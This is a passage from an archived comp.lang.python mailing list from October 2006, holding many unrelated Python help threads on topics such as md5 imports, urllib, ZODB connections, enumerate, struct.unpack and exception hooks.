> Traceback (most recent call last):
>   File "<stdin>", line 1, in <module>
> ImportError: No module named _md5
> 
>>>>import md5
>>>>print md5.__file__
> 
> /usr/arch/lib/python2.5/md5.py
> 
> sys.prefix is equal on both machines:
> 
>>>>import sys
>>>>sys.prefix
> 
> '/usr/arch'
> 
> thanks for any help
> sam
> 
Try looking for md5.so - it'll probably be somewhere like 
/usr/lib/python2.5/lib-dynload. When I said sys-prefix I meant the 
--exec-prefix configuration option, but actually I'm not sure what 
determines where shared libraries end up.

At least knowing what you are looking for should help. This may affect 
other modules that use extension support.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From jiang.haiyun at msn.com  Sat Oct 28 21:25:22 2006
From: jiang.haiyun at msn.com (haiyun)
Date: Sun, 29 Oct 2006 09:25:22 +0800
Subject: http call.
In-Reply-To: <mailman.1057.1161688292.11739.python-list@python.org>
References: <1161673574.597088.135220@h48g2000cwc.googlegroups.com>
	<mailman.1057.1161688292.11739.python-list@python.org>
Message-ID: <ei0vtc$cta$1@news.yaako.com>

Steve Holden ??:
> Kirt wrote:
>> Hi!
>>
>> I have a php program (test.php) on a server. eg:
>> http://abc.xyz.com/test.php
>>
>> I need my python scripts to make a http call to these program pass some
>> data and get back a secret key from the php program..
>>
>> Could anyone help me this, what will i need to make a http call to the
>> php application?
>>
> 
> import urllib
> nf = urllib.urlopen('http://abc.xyz.com/test.php')
> data = nf.read()
> 
> Should get you started. Look for the "mechanize" and "ClientForm" (?) 
> modules to help with the site interactions. It doesn't matter what 
> language the server uses: you will be talking HTTP to it!
> 
> regards
>  Steve
Use urllib2 library , you can take more control.


From http  Mon Oct  2 12:06:00 2006
From: http (Paul Rubin)
Date: 02 Oct 2006 09:06:00 -0700
Subject: Sort by domain name?
References: <mailman.1094.1159801691.10491.python-list@python.org>
	<7xmz8ekayz.fsf@ruckus.brouhaha.com>
	<mailman.1104.1159804122.10491.python-list@python.org>
Message-ID: <7xodsu8zyv.fsf@ruckus.brouhaha.com>

"js " <ebgssth at gmail.com> writes:
> All I want to do is to sort out a list of url by companyname,
> like oreilly, ask, skype, amazon, google and so on, to find out
> how many company's url the list contain.

Here's a function I used to use.  It makes no attempt to be
exhaustive, but did a reasonable job on the domains I cared about at
the time:

    def host_domain(hostname):
        parts = hostname.split('.')
        if parts[-1] in ('au','uk','nz', 'za', 'jp', 'br'):
            # www.foobar.co.uk, etc
            host_len = 3
        elif len(parts)==4 and re.match('^[\d.]+$', hostname):
            host_len = 4                # 2.3.4.5 numeric address
        else:
            host_len = 2
        d = '.'.join(parts[-(host_len):])
#       print 'host_domain:', hostname, '=>', d
        return d


From steve at REMOVE.THIS.cybersource.com.au  Wed Oct 18 19:27:49 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Thu, 19 Oct 2006 09:27:49 +1000
Subject: Getting method name from within the class method
References: <mailman.716.1161205201.11739.python-list@python.org>
Message-ID: <pan.2006.10.18.23.27.48.634317@REMOVE.THIS.cybersource.com.au>

On Wed, 18 Oct 2006 13:59:55 -0700, Mitko Haralanov wrote:

> I need to be able to get the name of the currently executed method
> within that method. I know that the method object does have the
> __name__ attribute but I know know how to access it from withing the
> method.

Here is a useful (moderately advanced) technique:

def factory(arg):
    def foo(x=arg):
        print "My name is", foo.__name__
        print "My result is", x + 1
    return foo

class spam:
    pass

for i in range(10):
    name = "method_%d" % i
    f = factory(i)
    f.__name__ = name
    setattr(spam, name, staticmethod(f))


But:

>>> spam.method_0(1)
My name is method_0
My result is 2
>>> spam.method_7(9.4)
My name is method_7
My result is 10.4


-- 
Steven.



From steve at holdenweb.com  Tue Oct  3 02:34:52 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 03 Oct 2006 07:34:52 +0100
Subject: app with standalone gui and web interface
In-Reply-To: <5f56302b0610021800v29714effi3f7fb85162a8cc3f@mail.gmail.com>
References: <5f56302b0610021800v29714effi3f7fb85162a8cc3f@mail.gmail.com>
Message-ID: <eft08o$61c$2@sea.gmane.org>

Daniel Nogradi wrote:
> What would the simplest way to make an application that has both a web
> interface and runs from behind a web server but also can be used as a
> standalone app with a gui? More precisely is it possible to avoid
> creating an html/xml/whatever based web interface for the web version
> and separately creating a gui (wxpython for example) for the
> standalone version and instead create a graphical frontend at once
> that can be used for both?

No.

However, if you have a web interface there's nothing to stop you from 
providing that for local use as a desktop app as well as remote use: 
your app then just becomes a web shortcut to a locally-running server.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From nicogrubert at gmail.com  Tue Oct 31 10:16:12 2006
From: nicogrubert at gmail.com (Nico Grubert)
Date: Tue, 31 Oct 2006 16:16:12 +0100
Subject: PIL on Python 2.4 - ImportError: No module named _imagingft
	[Solved]
In-Reply-To: <454767E4.5070600@gmail.com>
References: <454767E4.5070600@gmail.com>
Message-ID: <454768BC.2020806@gmail.com>

> If I try
> 
>  >>> import _imagingft
> 
> I get this error:
>   ImportError: No module named _imagingft
> 
> Did I miss something?

Yes, I did. Somehow, there was no "_imagingft.so" in the PIL directory.


From sjmachin at lexicon.net  Mon Oct  9 20:51:23 2006
From: sjmachin at lexicon.net (John Machin)
Date: 9 Oct 2006 17:51:23 -0700
Subject: People's names (was Re: sqlite3 error)
In-Reply-To: <87r6xhhzwg.fsf@pobox.com>
References: <JnzSg.36$1n3.471@news.tufts.edu>
	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>
	<yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
	<1160266138.599325.270290@e3g2000cwe.googlegroups.com>
	<87r6xhhzwg.fsf@pobox.com>
Message-ID: <1160441483.419976.55050@k70g2000cwa.googlegroups.com>


John J. Lee wrote:
> "John Machin" <sjmachin at lexicon.net> writes:
> [...]
> > This is all a bit OT.  Before we close the thread down
>
> Do you have a warrant for that?

I have some signed-but-otherwise-blank warrants, but I'm saving them
for other threads :-)

>
> > , let me leave
> > you with one warning:
> > Beware of enthusiastic maintenance programmers on a mission to clean up
> > the dirty names in your database:
> > E.g. (1) "Karim bin Md" may not appreciate getting a letter addressed
> > to "Dr Karim Bin" (Md is an abbreviation of Muhammad).
> > E.g. (2) Billing job barfs on a customer who has no given names and no
> > family name. Inspection reveals that he is over-endowed in the title
> > department: "Mr Earl King".
> [...]
>
> Heh.

Heh indeed. This behaviour seems to be endemic. Another true story from
a 3rd post-cleanup cleanup assignment: Looking at the "country"
component of addresses:  WALES? Users suggested it be changed to "UK"
to conform with ISO standard, UPU conventions, etc. However glancing at
other address components, one found intriguing things like "C/o Prince
of  Hospital". The same "algorithm" had migrated a handful of clients
from Coromandel Valley to Oman, and a considerable number from the
Melbourne suburb of Chadstone to Chad.

>
> I guess the people who really know about that kind of thing are the
> "record linkage" people (this one is a project worked on by c.l.py's
> own Tim Churches, and has produced some Python code):
>
> http://datamining.anu.edu.au/projects/linkage.html

The project is heavily into probabilistic methods. Given enough
correctly tagged data to work on, 'Earl" and "King" are much more
likely to drop into a name slot than a title slot.

Cheers,
John



From hanumizzle at gmail.com  Tue Oct 10 05:46:11 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 05:46:11 -0400
Subject: People's names (was Re: sqlite3 error)
In-Reply-To: <eg98qb$6a3$1@lust.ihug.co.nz>
References: <JnzSg.36$1n3.471@news.tufts.edu>
	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>
	<yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
Message-ID: <463ff4860610100246q7601bc35y278706c73f7c2e0c@mail.gmail.com>

On 10/7/06, Lawrence D'Oliveiro <ldo at geek-central.gen.new_zealand> wrote:

> Just because most Western designers of databases do it wrong doesn't mean
> that a) you should do it wrong, or b) they will continue to do it wrong
> into the future, as increasing numbers of those designers come from Asian
> and other non-Western backgrounds.

Family name comes last in some Asian countries as well. :)

It might also be prudent to consider that, e.g,, some Tamils only have
a last name for legal purposes and traditionally go by a single name.
Lots of possibilities to consider.

> I wonder if we need another "middle" field for holding the "bin/binte" part
> (could also hold, e.g. "Van" for those names that use this).

Also 'da' for Portuguese, which means roughly same as
Nederlands/Vlaams. Maybe. As usual: IANAE.

> There would also need to be a flag field to indicate the canonical ordering
> for writing out the full name: e.g. family-name-first, given-names-first.
> Do we need something else for the Vietnamese case?

Good question, but IIRC, family name comes first followed by any other
given names, just as in a literary index written in English: e.g.,
Truman, Harry S

What if you're Ho Chi Minh? Do you get to list aliases indefinitely? LOL

-- Theerasak


From fredrik at pythonware.com  Wed Oct  4 05:15:03 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 4 Oct 2006 11:15:03 +0200
Subject: Best way to handle large lists?
References: <prrUg.1662$We.477@trndny08>	<jwjw-E75E09.09362703102006@news.isp.giganews.com>	<slrnei4r1t.d5n.sybrenUSE@schuimige.stuvel.eu>	<7xodst3337.fsf@ruckus.brouhaha.com>	<45227982.4060808@hotmail.com>	<efttv2$9p6$1@gemini.csx.cam.ac.uk>	<45228F2E.4010409@googlemail.com><efuced$10f$1@sea.gmane.org>
	<452376E3.2080201@googlemail.com>
Message-ID: <efvu2o$7um$1@sea.gmane.org>

Hari Sekhon wrote:

> So are you saying that using a dict means a faster search since you only
> need to look up one value?
>
> I would think that you would have to look through the keys and stop at
> the first key that matches since each key has to be uniq, so perhaps if
> it is nearer the front of the set of keys then perhaps it would be a
> quicker lookup?

    http://en.wikipedia.org/wiki/Hash_table

</F> 





From steve551979 at hotmail.com  Sat Oct 28 17:43:00 2006
From: steve551979 at hotmail.com (steve551979 at hotmail.com)
Date: 28 Oct 2006 14:43:00 -0700
Subject: Regular Expression help for parsing html tables
Message-ID: <1162071780.766299.274830@e64g2000cwd.googlegroups.com>

Hello,

I am having some difficulty creating a regular expression for the
following string situation in html. I want to find a table that has
specific text in it and then extract the html just for that immediate
table.

the string would look something like this:

...stuff here...
<table>
...stuff here...
<table>
...stuff here...
<table>
...
text i'm searching for
...
</table>
...stuff here...
</table>
...stuff here...
</table>
...stuff here...


My question:  is there a way in RE to say:   "when I find this text I'm
looking for, search backwards and find the immediate instance of the
string "<table>"  and then search forwards and find the immediate
instance of the string "</table>".  " ?

any help is appreciated.

Steve.



From skip at pobox.com  Fri Oct 20 13:36:24 2006
From: skip at pobox.com (skip at pobox.com)
Date: Fri, 20 Oct 2006 12:36:24 -0500
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <20061020132555.GA9779@hccnet.nl>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
	<20061020132555.GA9779@hccnet.nl>
Message-ID: <17721.2328.438325.427503@montanaro.dyndns.org>


    egbert> String reversal comes in handy when you do palindromes.

Which would by implication make it handy to have in a CS algorithms class
and not much else. ;-)

Skip



From nospam at domain.tld  Fri Oct 13 01:14:30 2006
From: nospam at domain.tld (Stephan Kuhagen)
Date: Fri, 13 Oct 2006 07:14:30 +0200
Subject: Where is Python in the scheme of things?
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
	<4524beb9$0$310$426a74cc@news.free.fr>
	<egl3tv$g4g$1@wake.carmen.se>
Message-ID: <egn7bn$a8l$1@kohl.informatik.uni-bremen.de>

Magnus Lycka wrote:

...
> I'd suggest that the OP look at the Wikipedia page in Unix
> Philosophy. Read about Gancarz tenets, and replace shell scripts
> with Python. (Of course, Python offers more elaborate communication
> than pipes.) I'd also the link to Joel Spolsky's Biculturalism
> article, and read that.

I fully agree with your posting. I (and I think many people) feel the same
way about commandline and GUI interfaces. Commandline is the way my brain
works...

But what I really wanted to say: a very good reading about the different
types of thinking and culture when comparing commandline and GUI and other
important cultural phenomena using either the "commandline"- or the
GUI-philosophy (e.g. DisneyWorld vs. "the real things") is "In the
beginning was the commandline" from Neal Stephenson. Everybody, who is
interested in the comparison of these different types of thinking and (how
Stephenson says) cultures, find a very good essay about it in this small
book.

Regards
Stephan


From petra.chong at gmail.com  Mon Oct 30 07:47:57 2006
From: petra.chong at gmail.com (Petra Chong)
Date: 30 Oct 2006 04:47:57 -0800
Subject: ZODB: single database, multiple connections
In-Reply-To: <mailman.1484.1162209839.11739.python-list@python.org>
References: <1162207929.618525.169150@h48g2000cwc.googlegroups.com>
	<mailman.1484.1162209839.11739.python-list@python.org>
Message-ID: <1162212476.984173.293380@m7g2000cwm.googlegroups.com>


> > If I have a Python shell open and run the above two lines, if I run the
> > write process repeatedly, the above "data" object never contains any of
> > the newly added items. To pick them up I have to totally recreate the
> > "db" object.
>
> You say that like it's hard to do ;-)
>

It isn't, but this was the problem:

It took 15 seconds to open the database, so I thought that I shouldn't
be recreating the database and should be refreshing it. There is
nothing in the docs that says that the right behaviour is to recreate
it.

However, I then put some debug statements around it (I know, I know, I
could have used profiling) to find out exactly what was taking 15
seconds. Turned out there was some rubbish in the db that shouldn't
have been there. I got rid of it, and now it doesn't take 15 seconds to
recreate the database.

So- I am now recreating the db, and my problem is solved.

>
> BTW, a better place to ask about ZODB is the zodb-dev list:
>
>     http://mail.zope.org/mailman/listinfo/zodb-dev
>
> It's not just for developers /of/ ZODB.  Note that you need to
> subscribe to it in order to post to it (that's a heavyweight anti-spam
> gimmick common to all Zope lists).

Thanks for that- it's been hard to track down information on ZODB.

Regards,

PC



From bj_666 at gmx.net  Wed Oct 11 17:56:03 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Wed, 11 Oct 2006 23:56:03 +0200
Subject: dicts + amb
References: <1160601017.272078.63240@h48g2000cwc.googlegroups.com>
Message-ID: <pan.2006.10.11.21.56.01.797790@gmx.net>

In <1160601017.272078.63240 at h48g2000cwc.googlegroups.com>, bearophileHUGS
wrote:

> I have implemented yet another Odict class:
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/498195
> It's very slow, but it is O(1) for get, set and del too.
> 
> I have added ritervalues(), rkeys(), etc methods because I presume I
> can't use the reversed(). So can an __riter__ hook be generally useful?
> (I have seen few comments about it in the discussion regarding PEP
> 322).

I don't know if this is documented somewhere but the `reversed()` function
looks for a `__reversed__()` method that returns an iterator.

Ciao,
	Marc 'BlackJack' Rintsch


From parautenbach at gmail.com  Thu Oct 19 07:01:40 2006
From: parautenbach at gmail.com (Pieter Rautenbach)
Date: 19 Oct 2006 04:01:40 -0700
Subject: Type discrepancy using struct.unpack
Message-ID: <1161255700.665211.145360@i42g2000cwa.googlegroups.com>

Hallo,

I have a 64 bit server with CentOS 4.3 installed, running Python.

[pymsnt at lutetium pymsnt-0.11.2]$ uname -a
Linux lutetium.mxit.co.za 2.6.9-34.ELsmp #1 SMP Thu Mar 9 06:23:23 GMT
2006 x86_64 x86_64 x86_64 GNU/Linux

Consider the following two snippets, issuing a struct.unpack(...) using
Python 2.3.4 and Python 2.5 respectively.

[pymsnt at lutetium pymsnt-0.11.2]$ python
Python 2.5 (r25:51908, Oct 17 2006, 10:34:59)
[GCC 3.4.5 20051201 (Red Hat 3.4.5-2)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import struct
>>> print type(struct.unpack(">L", "xxxx")[0])
<type 'int'>
>>>

[pymsnt at lutetium pymsnt-0.11.2]$ /usr/bin/python2.3
Python 2.3.4 (#1, Feb 17 2005, 21:01:10)
[GCC 3.4.3 20041212 (Red Hat 3.4.3-9.EL4)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import struct
>>> print type(struct.unpack(">L", "xxxx")[0])
<type 'long'>
>>>

I would expect <type 'long'> in both cases. Why is this not so?

Regards
Pieter Rautenbach



From eldiener_no_spam_here at earthlink.net  Tue Oct 10 09:11:10 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 13:11:10 GMT
Subject: Python component model
In-Reply-To: <mailman.186.1160469729.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<mailman.186.1160469729.11739.python-list@python.org>
Message-ID: <OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>

Fredrik Lundh wrote:
> Nick Vatamaniuc wrote:
> 
>> At the same time one could claim that Python already has certain
>> policies that makes it seem as if it has a component model.
> 
> every Python object surely qualifies as a component, for any non-myopic 
> definition of that word, and everything inside a Python program is an 
> object.  so yes, Python has a component model, and Python programmers 
> are using that model all over the place.
> 
> what might be missing is support for publishing additional metadata 
> using a standardized vocabulary, and a way to access that data with-
> out having to actually create the object.
> 
> implementing this using existing mechanisms is trivial (as the endless 
> stream of interface/component/adapter/trait implementations have shown 
> us); coming up with a good-enough-to-be-useful-for-enough-people 
> vocabulary is a lot harder.

There's no doubt that Python's excellent introspection mechanism allows 
an outside RAD-like tool to inspect the workings of any Python object. 
But that does not make it a component model in my original use of the 
term on this thread. A RAD tool needs to know what properties and events 
within a class can be manipulated visually, and it needs to be able to 
serialize those properties and events so that they are set at run-time 
automatically once an object is created.


From noamsml at gmail.com  Fri Oct 27 17:53:45 2006
From: noamsml at gmail.com (noamsml at gmail.com)
Date: 27 Oct 2006 14:53:45 -0700
Subject: What is the cleanest way to for a module to access objects from the
	script that imports it?
Message-ID: <1161986024.956989.218370@i42g2000cwa.googlegroups.com>

Hi,

I am new to python and am currently writing my first application. One
of the problems I quickly ran into, however, is that python's imports
are very different from php/C++ includes in the sense that they
completely wrap the imported script in a module object. One of the
problems with this was that a plugin system that I am making requires
use of objects, classes and the such from the original script. Thus, on
one hand, I am hesitant to use execfile(), since I *do* want to wrap
the plugin up, but on the other hand, I want the plugin to be able to
use functions from the original script. Any ideas?

Sincerely,
Noam Samuel.



From jstroud at mbi.ucla.edu  Sun Oct 29 06:32:47 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Sun, 29 Oct 2006 11:32:47 GMT
Subject: enumerate improvement proposal
Message-ID: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>

I think that it would be handy for enumerate to behave as such:

def enumerate(itrbl, start=0, step=1):
   i = start
   for it in itrbl:
     yield (i, it)
     i += step

This allows much more flexibility than in the current enumerate, 
tightens up code in many cases, and seems that it would break no 
existing code. Yes, I have needed this behavior with enumerate, like 
tonight and the current example. I put the "step" parameter in for 
conceptual symmetry with slicing.

Here is a case use (or is it use case?):


# with the proposed enumerate
import operator
def in_interval(test, bounds, first=1, reverse=False):
   op = operator.gt if reverse else operator.lt   # python 2.5
   bounds = sorted(bounds, reverse=reverse)
   for i, bound in enumerate(bounds, first):
     if op(test, bound):
       return i
   return i + 1


# with the existing enumerate
import operator
def in_interval(test, bounds, first=1, reverse=False):
   op = operator.gt if reverse else operator.lt   # python 2.5
   bounds = sorted(bounds, reverse=reverse)
   for i, bound in enumerate(bounds):
     if op(test, bound):
       return i + first
   return i + first + 1


py> # eg
...
py> in_interval(8, bounds)
2
py> in_interval(1, bounds)
1
py> in_interval(1, bounds, reverse=True)
5
py> in_interval(8, bounds, reverse=True)
4
py> in_interval(20, bounds, reverse=True)
2

Of course, I haven't used step here. Even in this trivial example the 
proposed enumerate cleans the code and logic, eliminating a couple of 
plus signs. For this real-world example, the practical requirement for 
reversing the bins obfuscates somewhat the de-obfuscation provided by 
the proposed enumerate. But I think that it might be obvious that the 
proposed enumerate could help significantly in cases a bit more 
complicated than this one.

Any thoughts?

James


From Laundro at gmail.com  Tue Oct  3 16:16:57 2006
From: Laundro at gmail.com (LaundroMat)
Date: 3 Oct 2006 13:16:57 -0700
Subject: What value should be passed to make a function use the default
	argument value?
Message-ID: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>

Suppose I have this function:

def f(var=1):
return var*2

What value do I have to pass to f() if I want it to evaluate var to 1?
I know that f() will return 2, but what if I absolutely want to pass a
value to f()? "None" doesn't seem to work..

Thanks in advance.



From fredrik at pythonware.com  Thu Oct 26 08:05:21 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 14:05:21 +0200
Subject: Error to be resolved
References: <1161861560.979401.29710@m73g2000cwd.googlegroups.com><mailman.1265.1161862452.11739.python-list@python.org>
	<1161863275.157847.317680@b28g2000cwb.googlegroups.com>
Message-ID: <ehq8a1$jmh$1@sea.gmane.org>

Arun Nair wrote:

>        self.suit = suit
>        self.rank = rank
>        self.suit = ["None","Clubs","Diamonds","Hearts","Spades"]
>        self.rank = ["zero", "Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack", "Queen", 
> "King"]

hint: what happens if two variables have the same name ?  can Python magically figure
   out which one you mean when you try to use one of them, or does something else
   happen?

> File "D:\Charles Sturt University\

could you perhaps ask your advisors to drop by and tell us why he/she expects us to
do their job ?

</F> 





From fredrik at pythonware.com  Thu Oct 19 05:20:50 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 19 Oct 2006 11:20:50 +0200
Subject: __delitem__ affecting performance
In-Reply-To: <40HZg.5440$v43.381@fed1read02>
References: <40HZg.5440$v43.381@fed1read02>
Message-ID: <eh7g1m$uio$1@sea.gmane.org>

Karl H. wrote:

> Does anybody know why defining __delitem__ is causing the code to run 
> slower? It is not being called, so I don't see why it would affect 
> performance.

probably because overriding portions of the internal sequence slot API 
(tp_as_sequence) means that Python needs to do full dispatch for all 
members of that API, instead of keeping things at the C level.

</F>



From ziga.seilnacht at gmail.com  Tue Oct 31 15:43:58 2006
From: ziga.seilnacht at gmail.com (Ziga Seilnacht)
Date: 31 Oct 2006 12:43:58 -0800
Subject: Overriding traceback print_exc()?
References: <Ae6dndxQ39_EBNrYnZ2dnUVZ_oydnZ2d@nmt.edu>
Message-ID: <1162327438.090116.47320@b28g2000cwb.googlegroups.com>

Bob Greschke wrote:
> I want to cause any traceback output from my applications to show up in one
> of my dialog boxes, instead of in the command or terminal window (between
> running on Solaris, Linux, OSX and Windows systems there might not be any
> command window or terminal window to show the traceback messages in).  Do I
> want to do something like override the print_exc (or format_exc?) method of
> traceback to get the text of the message and call my dialog box routine?  If
> that is right how do I do that (monkeying with classes is all still a grey
> area to me)?

You can overwrite the sys.exepthook() with your own function:


import sys
from traceback import format_exception

def my_excepthook(exctype, value, traceback):
    details = "".join(format_exception(exctype, value, traceback))
    # now show the details in your dialog box

sys.excepthook = my_excepthook


See the documentation for details:
http://docs.python.org/lib/module-sys.html#l2h-5125

Hope this helps,
Ziga



From fredrik at pythonware.com  Thu Oct 12 02:43:05 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 08:43:05 +0200
Subject: How to write Smart Python programs?
In-Reply-To: <452de0f6$1@news.vo.lu>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>	<452cae13$0$24783$426a74cc@news.free.fr>
	<452cbe11$1@news.vo.lu> <452de0f6$1@news.vo.lu>
Message-ID: <egko5p$dac$1@sea.gmane.org>

Antoine De Groote wrote:

> In the snippet above (taken from the Python doc 
> http://docs.python.org/lib/built-in-funcs.html), self.__x is 
> initialized, but never used. I would appreciate any explanation for this.

looks like a typo.

</F>



From steve at holdenweb.com  Thu Oct 26 22:00:03 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 27 Oct 2006 03:00:03 +0100
Subject: Insert Content of a File into a Variable
In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A0615DB@mailbe01.teak.local.net>
References: <3ACF03E372996C4EACD542EA8A05E66A0615DB@mailbe01.teak.local.net>
Message-ID: <ehrp4v$h76$1@sea.gmane.org>

Wijaya Edward wrote:
> Hi,
>  
> How can we slurp all content of a single file 
> into one variable?
>  
> I tried this:
>  
> 
>>>>myfile_content = open('somefile.txt')
>>>>print myfile_content,
> 
> <open file 'somefile.txt', mode 'r' at 0xb7f532e0>
> 
> 
>  
> But it doesn't print the content of the file.
>  
Because you haven't read it!

data = open('somefile.txt').read()
print data

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From petra.chong at gmail.com  Mon Oct 30 06:32:09 2006
From: petra.chong at gmail.com (Petra Chong)
Date: 30 Oct 2006 03:32:09 -0800
Subject: ZODB: single database, multiple connections
Message-ID: <1162207929.618525.169150@h48g2000cwc.googlegroups.com>

Hello all

I am using Python 2.3 and ZODB (without the rest of Zope) with the
following pattern:

* One process which writes stuff to a ZODB instance (call it test.db)
* Another process which reads stuff from the above ZODB instance
test.db

What I find is that when the first process writes, the second doesn't
pick up the changes. I am sure this must be because I am using ZODB
wrongly, but I can't find any examples that show how to use ZODB in
this way, and I can't find any API docs for FileStorage, Connection,
etc. Reading the source code (from C:\python23\lib\site-packages) has
not thrown up anything useful.

Here's my test code:

A simple database class:

class Database(object):
    PersistentObject = persistent.Persistent
    PersistentDict = BTrees.OOBTree.OOBTree

    def __init__(self, filename, read_only = False):
        self.storage = FileStorage.FileStorage(filename, read_only =
read_only)
        self.db = DB(self.storage)
        self.connection = self.db.open()
        self.dbroot = self.connection.root()


Write:


db = Database("test.db")
db.data = db.get_dictionary('data')

sz = len(db.data.keys())

class Datum(Persistent):
    def __init__(self, value):
        self.value = value

if __name__ == '__main__':
    # insert 10 things
    for i in range(0, 10):
        val = i + sz
        d = Datum(val)
        db.data[val] = d
    transaction.commit()

Read:

db = Database("test.db", read_only = True)

data = db.get_dictionary('data')

If I have a Python shell open and run the above two lines, if I run the
write process repeatedly, the above "data" object never contains any of
the newly added items. To pick them up I have to totally recreate the
"db" object.

I must be doing something wrongly, but I can't figure out what.

Any suggestions?

Thanks,

PC



From steve at holdenweb.com  Tue Oct 31 14:34:33 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 31 Oct 2006 19:34:33 +0000
Subject: scared about refrences...
In-Reply-To: <1162315016.354163.18950@i42g2000cwa.googlegroups.com>
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>	<pan.2006.10.30.19.32.25.538858@gmx.net>	<1162242647.481298.251320@b28g2000cwb.googlegroups.com>	<pan.2006.10.30.22.26.42.261733@REMOVE.THIS.cybersource.com.au>	<1162248250.994200.13450@m7g2000cwm.googlegroups.com>	<ei60go$ngb$1@web.aioe.org>	<1162254191.507805.276640@k70g2000cwa.googlegroups.com>	<ei6o2u$9sq$1@web.aioe.org>
	<1162315016.354163.18950@i42g2000cwa.googlegroups.com>
Message-ID: <ei88e3$ftj$1@sea.gmane.org>

SpreadTooThin wrote:
[...]
> I don't understand why python would insist that everything must be a
> refrence...

We can tell that :)

> It is of course helpful sometime but other times its not...  and now
> I'm sorta out
> of luck...

There are very good reasons for Python's namespace model. Sure it's 
different from some other languages, but it's actually been some 
people's preferred semantics for a very long time now (the 
recently-deceased Ralph Griswold, may he rest in peace, chose a very 
similar model for Icon.

> I don't know how to make this structure immutable...  Pickle it?  Seems
> very
> inefficient to me...
> Every time I pass a variable now I will worry that it will be changed
> by the function...
> I haven't worried about things like this since the very early days of
> BASIC....
> I don't know.. maybe I have more to learn.
> 
You do. Firstly, learn to leave your paranoia outside your programming 
life. If a function or method makes undocumented changes to its mutable 
parameters then it needs changing (or its documentation does).

Adequate testing should reveal such nonsenses before release.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From Benjamin.Barker at gmail.com  Sun Oct  8 09:10:47 2006
From: Benjamin.Barker at gmail.com (Ben)
Date: 8 Oct 2006 06:10:47 -0700
Subject: Bizzare lst length problem
In-Reply-To: <1160312607.909565.95150@i3g2000cwc.googlegroups.com>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
	<mailman.53.1160306404.11739.python-list@python.org>
	<1160311703.533544.164250@i42g2000cwa.googlegroups.com>
	<1160312607.909565.95150@i3g2000cwc.googlegroups.com>
Message-ID: <1160313047.648352.71190@e3g2000cwe.googlegroups.com>

Thanks for the advice  - I'm already doing just that, so hopefully will
soon be sorted :-p


John Machin wrote:
> Ben wrote:
> > Ah... my list is a string. That explains the len() results, but not why
> > it is a string in the dirst place.
> >
> > I have a dictionary containing a number of instances of the following
> > class as values:
> >
> > class panel:
> >     mops =[]
> >
> >     def __init__(self,number,level,location,mops,matrix):
> >          self.number=number
> >          self.level=level
> >          self.location=location
> >          self.mops=mops
> >          self.matrix=matrix
> >
> >
> > abve mops is a list, yet when I access it it is a string...
> >
>
> Well, if you are going to spare us from reading all of your code,
> you'll have to debug it yourself. The clue that Fredrik gave you is
> *not* of the use-once-and-discard variety -- when you are having
> problems with the pixies changing your lists into strings, you need to
> sprinkle prints of type(pixie_prey) and repr(pixie_prey) at salient
> points in your code; as first statement in that __init__ method would
> be a good start.



From casevh at comcast.net  Tue Oct 31 17:11:41 2006
From: casevh at comcast.net (casevh at comcast.net)
